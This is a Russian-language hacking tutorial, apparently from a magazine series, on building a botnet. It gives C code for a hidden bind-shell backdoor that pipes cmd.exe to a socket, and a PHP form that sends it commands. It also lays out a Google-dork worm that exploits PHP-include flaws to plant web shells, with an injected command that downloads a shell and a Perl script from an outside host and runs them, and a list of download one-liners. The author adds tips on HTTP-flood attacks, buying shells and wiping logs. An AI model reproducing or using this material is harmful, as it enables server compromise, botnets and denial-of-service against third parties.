Думаю, ты не раз задумывался о такой идеи как поднятие своего собственного
ботнета, ну, или быть может, просто интересовался о том, как это устроено. Или в
конце концов ты уже добился поставленных выше целей. Как бы это ни было, тебя
это заинтересовало и ты не просто так докопался до этой статьи. Что же, сейчас я
постараюсь рассказать все тоноксти построения зомби-сетей.
Итак, ботнет - не что иное, как сеть из зараженных при помощи трояна или червя
компьютеров, которыми управляют хакеры или, как часто их еще называют, -
ботмастеры. Каждая такая зараженная тачка называется ботом или зомби. Все эти
машины объединяются в единую сеть - ботнет.
Методы управления и реализации
На самом деле, существует не так уж и много методов управления. Я имею ввиду
методов, а не реализаций. Давай разберемся, что к чему. Наверное, следует начать
с самого простого метода управления и, как принято думать, неудобного. Но я
постараюсь опровергнуть данное мнение. Речь идет о архитектуре "Клиент <->
Сервер".
Клиент <-> Сервер
Любой программист, пишущий программы для работы с сетью знает ее "на зубок", не
говоря уже о вирусмэйкерах. Если тебе хоть раз приходилось писать систему
удаленного администрирования или попросту говоря троян, то ты уже знаком с ней.
Такая система довольно-таки проста. Есть две программы, одна называется
клиентом, другая - сервером, первая устанавливается на компьютер A, а вторая на
B. Как правило, сервер держит открытый порт который слушается сервером. С
помощью клиентской части мы подключаемся к серверной и пользуемся ее
возможностями.
Казалось бы очень громоздкая и неудобная система для управления ботнетом:
придется коннектиться к каждой машине отдельно, назначать ей задание и при том,
что IP-адрес машины может постоянно меняться! Также надо будет знать каждую
зараженную машину, что называется "в лицо". Да, полностью согласен, неудобно. В
качестве клиента для обычного bind-шелл бэкдора может выступать простой telnet
или даже php-скрипт. Написание последнего - сущий пустяк, зато очень удобно и
анонимно! Для начала сделаем форму нашего скрипта: там мы будем вводить команды
и при необходимости менять IP-адрес или порт для подключения к бэкдору.
<form action="" method="post">
IP: <input name="host" type="text" value="127.0.0.1"><br>
Port: <input name="port" type="text" value="31337"><br>
CMD: <input name="cmd" type="text" value="shutdown -s"><br>
<input type="submit" value="SEND"><br>
</form>
А теперь примемся за работу с сокетами в PHP. За открытие сокета в php отвечает
функция fsockopen(), а за передачу и получение – функции fputs() и fgets(). На
сколько тебе ясно, данные из формы будут передавать скрипту POST-запросом. Для
закрытия сокета юзаем функцию fclose(), все достаточно просто:
<?php
if ($_POST['cmd'] || $_POST['host'] || $_POST['port']) {
$fp = fsockopen ($_POST['host'], $_POST['port'], $errno, $errstr, 60);
if (!$fp) {
$reply = "$errstr ($errno)<br>\n";
echo<<<EOF
<pre> {$reply} </pre>
EOF;
} else {
fputs ($fp, $_POST['cmd']);
echo<<<EOF
<pre> Команда "{$_POST['cmd']}" принята сервером успешно… </pre>
EOF;
}
fclose ($fp);
}
?>
Основы работы с сокетами на PHP - больше ничего. На самом-то деле не одними
сокетами ограничивается посылка данных на сервер, помимо сокетов существует еще
такая прекрасная вещь как wininet, но PHP-скриптов это, на сколько я знаю, не
касается. Bind-шелл бэкдор тоже написать очень просто! Для этого также нужно
уметь работать с WinSock2 API. В наши задачи входит написание бэкдора который
запустит cmd.exe с перенаправлением ввода/вывода на сокет клиента. Для этого
сначала надо инициализировать WinSock2:
BOOL WINAPI StartWinsock(){
WSADATA wsaData; // инфа о библиотеки будет
храниться тут
WSAStartup(MAKEWORD(2,2), &wsaData); //
инициализируем винсок
return 0;
Для того, чтобы прекратить работу с WinSockets достаточно добавить функцию
WSACleanup. То есть WSAStartup начинает, WSACleanup – заканчивает. Затем нам
понадобится создать сам сокет. Делается это также предельно просто (SOCKET s) :
s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
А затем заполняем все необходимые данные о сокете:
localaddr.sin_addr.s_addr = htonl(INADDR_ANY); //
ожидаем соединение на любом сетевом интерфейсе
localaddr.sin_family = AF_INET; // интернет
протокол
localaddr.sin_port = htons(31337); // выставили
порт 31337
Следующий шаг - связать сетевой адрес с сокетом (bind) и поставить на прослушку
порт (listen), не забудь в самом начале функции вписать struct sockaddr_in
localaddr, clientaddr;:
bind(s, (struct sockaddr *)&localaddr, sizeof(localaddr));
listen(s, 0);
Ну и наконец listen. s – хэнд сокета, 0 – бэклог. Бэклог – это параметр,
указывающий на размер очереди ожидающих подключений клиентов. Например, если ты
выставил в качестве параметра 10, то при подключении 10 клиентов в один момент
сервер поставит их в очередь, а одиннадцатый получит ошибку WSAECONNREFUSED.
Если ты выставишь значение бэклога на SOMAXCONN, то "включится" поддержка
максимальной очереди ожидания.
Чтобы привязать к нему cmd.exe достаточно воспользоваться функцией CreateProcess()
c хэндлами сокета, но может возникнуть проблема с вводом и выводом. На сколько
ты, наверное, знаешь, существуют 3 хэндла ввода-вывода:
STDIN – стандартный ввод.
STDOUT – стандартный вывод.
STDERR – вывод сообщений об ошибках.
Сейчас мы создадим пайпы, предварительно заполнив его структуру (Security
Attributes):
(PIPE InPut, OutPut;
typedef struct {HANDLE hRead; HANDLE hWrite;} PIPE;)
SECURITY_ATTRIBUTES Sa;
А теперь заполняем Security Attributes:
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
// создаем...
CreatePipe(&input.hRead, &input.hWrite, &sa, 0);
CreatePipe(&output.hRead, &output.hWrite, &sa, 0);
Теперь заполним структуру ST для нашей функции CreateProcess(), которая запустит
cmd.exe и бэкдор готов.
Опять сначала объяви, что st - это стартапинфо: STARTUPINFO si;
ZeroMemory(&si, sizeof(STARTUPINFO));
st.cb = sizeof(STARTUPINFO);
st.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
st.wShowWindow = SW_HIDE; // параметр SW_HIDE
сделает окно с cmd.exe невидимым (видимое - SW_SHOW)
st.hStdInput = input.hRead; // STDIN
st.hStdOutput = output.hWrite; // STDOUT
st.hStdError = output.hWrite; // перенаправляем
вывод ошибок
// Объявим PROCESS_INFORMATION pr;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &ST, PR); //
запускаем CMD.exe с перенаправлением
// ввода/вывода.
}
Блуждает мнение, что поднять свою зомби-сеть под *nix-like системами, как
правило на взломанных серверах хотя бы с минимальными привилегиями (nobody,
apache, www и т.д), нереально! Это мнение - полнейший абсурд. Вполне реально
построить ботнет на шеллах. Для начала тебе нужен скрипт с помощью которого ты
бы смог управлять шеллами. Причем тебе не надо забэкдоривать каждую систему -
достаточно залить вэб шелл, через который ты бы смог выполнять команды.
Итак, ты достал себе туеву хучу шеллов. Теперь тебе нужен скрипт, который
разошлет всем шеллам команду, благодаря которой будет будет производиться
HTTP-флуд при помощи GET-запросов заданное количество времени (кстати,
технологию HTTP-флуда можно с довольно-таки неплохим результатом применять для
накрутки траффика). И не надо никаких троянов :). Этот метод я сам использовал
на практике - работает отлично, очень быстро и просто. Поэтому как все это
замутить - подумай сам, а я пока хочу поюзать данную фишку :). Достать сами
шеллы очень просто. Есть несколько вариантов: первый заключается в покупке
шеллов "оптом" - в огромном количестве. Но продавцы очень часто бывают
нечестными - продают один и тот же шелл по несколько раз, то есть твои шеллы
будут постоянно удалять. Тебе это надо? Вот и я думаю, что нет. Есть один выход:
добывать шеллы самому. Согласен, что вручную добывать каждый - ужасный гемор, но
кто сказал, что это делается вручную?
Первое, что тебе понадобится - это знание каких-либо языков программирования.
Я предлагаю для нашей задачи один из следующих языков: PHP, Perl и C. А также
умение использовать уязвимости в вэб-скриптах, обычно это PHP. Суть
такова: пишется скрипт-червь на (допустим) perl, который с помощью поисковой
системы Google будет искать уязвимый скрипт, с помощью которого есть возможность
выполнять команды на сервере - нам подойдут уязвимости класса PHP-include и
PHP-injection. С помощью специально составленного google-запроса твой червь
отыскивает уязвимые скрипты и заливает шеллы, затем, после каждого удачно
залитого шелла, он записывает урл шелла в лог-файл.
Если ты найдешь движок с php-инклуд багом, который установлен примерно на 100
серверах, то ты счастличик. За пару часов червь справится с работой и вернет
тебе все шеллы. Именно по такому принципу работали google-черви вроде Santy и
его модификации, которые были написаны на perl'e, в качестве уязвимости
использовал php-injection баг в форумном движке phpBB 2.0.10. Так как форум был
(и есть) очень популярным, то червяк произвел очень много успешных взломов.
Единственное, что обидно - он просто дефейсил сайты... Бесполезно, правда? Так
вот, хватит теории, давай углубимся в суть проблемы и решим ее вместе (вступай и
компилируй :)).
Для начала нам надо составить запрос, который мы скормим поисковой системе.
На данную тему написано огромное количество статей и мануалов, но самым
центральным ресурсом является
http://johny.ihackstuff.com/, содержащий в себе туеву хучу готовых запросов.
При наличии n'ого количества денег ты можешь даже прикупить там целую книгу с
эксклюзивными запросами. В общем-то запросов море, главное - фантазия. Зайди
обязательно на сайт Джонни, найдешь много интересного для себя. Допустим, мы уже
нашли скрипт с php-инклуд багом l33t.php?page=news.html. Параметр page открывает
страницу news.html. Запрос для google:
inurl:l33t.php?page=news.html.
Создаем сокет:
$socket = IO::Socket::INET->new(PeerAddr=>"http://google.ru/",
PeerPort=>"80", Proto=>"tcp")
затем отправляем запрос гуглу посредством GET:
print $socket "GET /search?q=inurl:l33t.php?page=news.html
&hl=ru&lr=&start=90&sa=N HTTP/1.0\n\n";.
Затем мы откапыаем в HTML-коде ссылки (<a href=...) и "заходим" по ним,
подставляя в параметр page свое новое значение:
$cmd=http://1nf3ct0r.nm.ru/hack/cmd.php&cmd=wget -O
smile.php http://1nf3ct0r.nm.ru/hack/shell.php; wget -O post.pl http://1nf3ct0r.nm.ru/worm/post.pl;
perl post.pl; rm post.pl;
Что же мы сделали? Команда wget - это команда скачки какого-либо файла из сети
на шелл. Чаще всего используется она, но все же ее может и не быть. Поэтому дам
тебе совет: попробуй заставить все известные качалки (wget, fetch, get, lynx,
curl, links) скачивать файл из сети. Вот синтаксис этих штук:
Wget: wget -O /tmp/script.pl http://1nf3ct0r.nm.ru/hack/script.pl
Curl: curl --output /tmp/script.pl http://1nf3ct0r.nm.ru/hack/script.pl
Fetch: fetch -o /tmp/script.pl http://1nf3ct0r.nm.ru/hack/script.pl
GET: GET http://1nf3ct0r.nm.ru/hack/script.pl > /tmp/script.pl
Links: links -source "http://1nf3ct0r.nm.ru/hack/script.pl" > /tmp/script.pl
Lynx: lynx -source "http://1nf3ct0r.nm.ru/hack/script.pl" > /tmp/script.pl
Сначала мы закачали вэб-шелл с http://1nf3ct0r.nm.ru/hack/shell.php и назвали
его smile.php. Затем слили perl-скрипт, который сообщит в лог файл POST-запросом
где находится скрипт (пиши сам), запустили его и удалили этот скрипт.
Также существует такая прекрасная штука, как ICQ. Я думаю говорить что это
такое - нет смысла. Это есть то, что мешает работать, учиться и вообще, предмет,
на который можно свалить все свои неудачи ;). Так вот, именно протокол ICQ (TOC,
с января 2006'ого это уже вторая версия протокола, непонятно зачем переделанная)
можно использовать для управления бэкдорами. Самое примечательное - это
анонимность. А ведь можно сделать целую распределенную сеть ботов с управлением
через ICQ. Несмотря на то, что данная система кажется сложной - все достаточно
просто! Все также основано на работе с сокетами. Получаем команду и выполняем ее
через ShellExecute(). Если юзер что-то заподозрит, то обломается: сетевая
активность происходит через ICQ-сервер. Но об этом как-нибудь в другой раз. Все,
хватит. Дадим оценку методу с шеллами:
Плюсы [+], Минусы [-], Спорно/Нейтрал [~]:
- [~] Система управления ботнетом выполнена на твердую "4", несмотря на
то, что на PHP можно сделать сборку по странам, чекер шеллов и многое
другое. Ведь запускается цикл по "раздаче" команд ботам - это, безусловно,
займет n'ое количество времени. Чтобы шеллы добавлялись автоматически можно
написать скрипт, который бы находил URL до шелла и отправлял его
POST-методом на скрипт управления ботами, добавив в БД, а затем уничтожив
себя. - [+] Нету убогих диалаповых машин, все серваки с широким каналом -
постоянный онлайн ботнет. - [~] Шелл очень просто найти и удалить 🙁
- [+] Но зато нету проблем с антивирусным ПО.
- [+] Переносимость ботнета - скопировал адреса шеллов, свалил на другой
сервак. - [~] Нужна определенная квалификация для написания скриптов, зависящая от
их функционала. Так, что нубам можно забыть об этом и купить соответствующие
книжки :). - [~] Проследить откуда поступала комманда - достаточно просто: логи апача
еще никто не отменял. Но ведь можно и логклинер, встроенный в nix-бота,
поставить или еще чего такого ;).
Все же это не так палевно, как с централизованными сетями, о работе которых я
тебе сейчас расскажу...
(Продолжение следует)